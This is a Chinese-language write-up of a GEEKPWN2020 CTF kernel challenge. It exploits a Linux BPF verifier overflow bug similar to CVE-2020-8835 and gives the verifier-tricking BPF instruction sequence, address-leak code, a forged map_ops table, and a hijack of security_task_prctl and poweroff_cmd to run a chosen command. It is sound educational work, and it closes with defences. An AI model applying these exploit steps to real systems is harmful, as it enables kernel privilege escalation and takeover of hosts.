GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解
字数 1125 2025-08-20 18:18:23
Linux内核BPF子系统漏洞分析与利用
漏洞概述
本教学文档分析的是GEEKPWN2020云安全挑战赛决赛中的baby_kernel题目,涉及Linux内核BPF子系统的漏洞利用。该漏洞与CVE-2020-8835类似,都是由于BPF验证器(verifier)在算术运算时缺少溢出检查导致的。
漏洞分析
漏洞位置
漏洞位于verifier.c文件中的scalar_min_max_add函数,缺少了对算术运算溢出的检查。调用链如下:
do_check -> check_alu_op -> adjust_reg_min_max_vals -> adjust_scalar_min_max_vals -> scalar_min_max_add
关键代码片段:
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
switch (opcode) {
case BPF_ADD:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to add from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
//...
}
}
漏洞原理
BPF验证器在计算寄存器值的范围(smin_val和smax_val)时,使用32位截断计算,导致可以欺骗验证器认为寄存器值的范围与实际不同。具体来说:
- 初始时寄存器的
smin_val和smax_val分别为S64_MIN(0x8000000000000000)和S64_MAX(0x7fffffffffffffff) - 通过一系列算术运算(加、移位等),可以使验证器认为寄存器的值为0
- 但实际上可以传入非零值,绕过验证器的检查
关键BPF指令序列
以下BPF指令序列可以欺骗验证器:
BPF_ALU64_IMM(BPF_ADD,8,1), // r8 += 1
BPF_ALU64_IMM(BPF_RSH,8,1), // r8 >> 1
BPF_ALU64_IMM(BPF_LSH,8,1), // r8 << 1
BPF_ALU64_REG(BPF_ADD,8,8), // r8 += r8 (overflow)
BPF_ALU64_IMM(BPF_RSH,8,32), // r8 >>= 32
BPF_ALU64_IMM(BPF_MUL,8,0x110/2) // r8 *= 0x110
验证器认为最终r8的值为0,但实际上如果初始值为0x100000000,经过计算会得到0x110,可用于越界访问。
漏洞利用
利用步骤
-
地址泄露:
- 利用越界读取获取
array_map_ops地址,计算KASLR偏移 - 泄露map地址
- 利用越界读取获取
-
任意地址写:
- 伪造
map_ops结构,将map_push_elem改为array_map_get_next_key - 设置
map_type为BPF_MAP_TYPE_STACK,max_entries为-1 - 通过
map_update_elem触发任意写
- 伪造
-
控制流劫持:
- 劫持
security_task_prctl函数指针 - 修改为
poweroff_work_func地址 - 修改
poweroff_cmd为要执行的命令
- 劫持
关键数据结构
- bpf_array结构:
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[0];
void *ptrs[0];
void *pptrs[0];
};
};
- bpf_map_ops结构:
struct bpf_map_ops {
/* funcs callable from userspace */
int (*map_alloc_check)(...);
struct bpf_map *(*map_alloc)(...);
void (*map_release)(...);
void (*map_free)(...);
int (*map_get_next_key)(...);
//...
};
利用代码关键部分
- 地址泄露:
BPF_LDX_MEM(BPF_DW, 0, 7, 0), // r0 = [r7+0]
BPF_STX_MEM(BPF_DW, 6, 0, 0x10), // r6+0x10 = r0 = ctrl_map[2]
BPF_LDX_MEM(BPF_DW, 0, 7, 0xc8), // r0 = [r7+0xc0]
BPF_STX_MEM(BPF_DW, 6, 0, 0x18), // r6+0x18 = r0 = ctrl_map[3]
- 伪造map_ops:
uint64_t fake_map_ops[] = {
kaslr + 0xffffffff81162ef0, // map_alloc_check
kaslr + 0xffffffff81163df0, // map_alloc
0x0,
kaslr + 0xffffffff811636c0, // map_free
kaslr + 0xffffffff81162fe0, // get_next_key (原map_push_elem位置)
//...
};
- 控制流劫持:
// 修改security_task_prctl函数指针
expbuf64[0] = (poweroff_work_func & 0xffffffff) - 1;
bpf_update_elem(expmapfd, &key, expbuf, hp_hook);
// 修改poweroff_cmd为"/bin/chmod 777 /flag"
expbuf64[0] = 0x6e69622f - 1; // "/bin"
bpf_update_elem(expmapfd, &key, expbuf, poweroff_cmd);
防御措施
- 在
scalar_min_max_add等算术运算函数中添加溢出检查 - 加强BPF验证器对寄存器值范围的跟踪
- 使用更严格的边界检查
- 启用KASLR和SMAP/SMEP等防护机制
总结
该漏洞利用BPF验证器在算术运算时缺少溢出检查的特性,通过精心构造的BPF指令序列欺骗验证器,最终实现任意地址读写和控制流劫持。利用过程中需要深入理解BPF验证器的工作原理和内核数据结构,是一道综合性很强的内核漏洞利用题目。